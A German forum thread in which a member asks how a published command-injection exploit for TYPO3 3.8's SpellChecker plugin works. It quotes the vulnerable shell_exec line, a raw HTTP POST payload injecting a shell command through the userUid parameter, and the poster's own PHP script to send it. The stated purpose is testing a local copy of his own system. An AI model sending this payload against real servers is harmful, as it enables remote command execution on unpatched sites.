Brauche Hilfe beim Exploit-Ausfuehren...

Suchfunktion

Erfahrenes Mitglied
Hi!

Da wir fuer einen unserer Webkunden eine "alte" Typo3-Version im Einsatz haben (3.8) und ich eben ueber einen exploit gestolpert bin, moechte ich ausprobieren, ob das ganze wirklich "so einfach" funktioniert. Dazu habe ich mir eine lokale Testumgebung aufgesetzt, welche dem Livebetrieb entspricht.

Nun zum Exploit:
"Angeblich" koennen Systembefehle ausgefuehrt werden, da eine .php-Datei fehlerhaft programmiert wurde. Da ich mich mit dem Explouit-Krams nicht auskenne, brauche ich dabei eure Hilfe.

The affected script resides in /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-check-logic.php which calls the vulnerable script /typo3/sysext/rtehtmlarea/pi1/class.tx_rtehtmlarea_pi1.php.
It requires a GET parameter id with the pageid of an existing page.
When the POST parameter cmd is set to learn, the parameter userUid is
not validated and can be used by an attacker to inject code.


Here is the vulnerable code (line 208):
PHP:
$AspellCommand = 'cat ' . $tmpFileName . ' | ' . $this->AspellDirectory . ' -a --mode=none' . $this->personalDictsArg . ' --lang=' . $this->dictionary . ' --encoding=' . $this->parserCharset . ' 2>&1';
print $AspellCommand . "\n";
print shell_exec($AspellCommand);

Wie zu lesen ist, bekommt der Angreifer dann die PHP-User-Berechtigungen auf dem Zielsystem. Aber wie funktioniert sowas? Kloppt der Angreifer einfach nur seine Befehle in die URL-Parameter und gut ist?

Natuerlich schreien jetzt hier viele wieder, dass ich irgendein System angreifen will, aber mir geht es im Grunde nur darum, dass ich micht gut damit auskenne, womit ich arbeite. Das ist mein Motivationsgrund zu diesem Thread.

Vielleicht kann mir ja jemand erklaeren, wie genau der Angreifer vorgeht!?

Danke & Mfg
Suche


P.S.:
Mehr zu dem Exploit gibt es hier.
 
Zuletzt bearbeitet:
Zwei Zeilen drunter gibt es eine Erklärung wie man den Exploit anwenden könnte:

Code:
POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-

check-logic.php?id=1 HTTP/1.1

Host: www.typo3host.abc

User-Agent: none

Content-Type: application/x-www-form-urlencoded

Content-Length: 111

 

psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+

/tmp/shell.txt+%23&enablePersonalDicts=true

Wie du siehst, kann man also einen POST Request absetzen und der Inhalt von $userUid wird nicht validiert, wodurch man eingeben kann was man will.
Und da das ganze mit [phpf]shell_exec[/phpf] bearbeitet wird, entsteht dadurch eine höchst kritische Angelegenheit.
 
Hmm.
Ich habe es mal versucht:

PHP:
<?php
$fp = fsockopen ("www.foobar.de", 80);
fputs ($fp, "POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-check-logic.php?id=1 HTTP/1.1");
fputs ($fp, "Host: www.foobar.de");
fputs ($fp, "User-Agent: none");
fputs ($fp, "Content-Type: application/x-www-form-urlencoded");
fputs ($fp, "Content-Length: 111");
fputs ($fp, "psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+/html/shell.txt+%23&enablePersonalDicts=true");
fclose($fp);
?>

Aber es tut sich einfach nichts. :confused: :confused:
(Es wird auch keine shell.txt erstellt oder bearbeitet. Die Systemvoraussetzungen sind aber gegeben, also es muss ein Fehler in dem Script sein...)
 
Zuletzt bearbeitet:
Zurück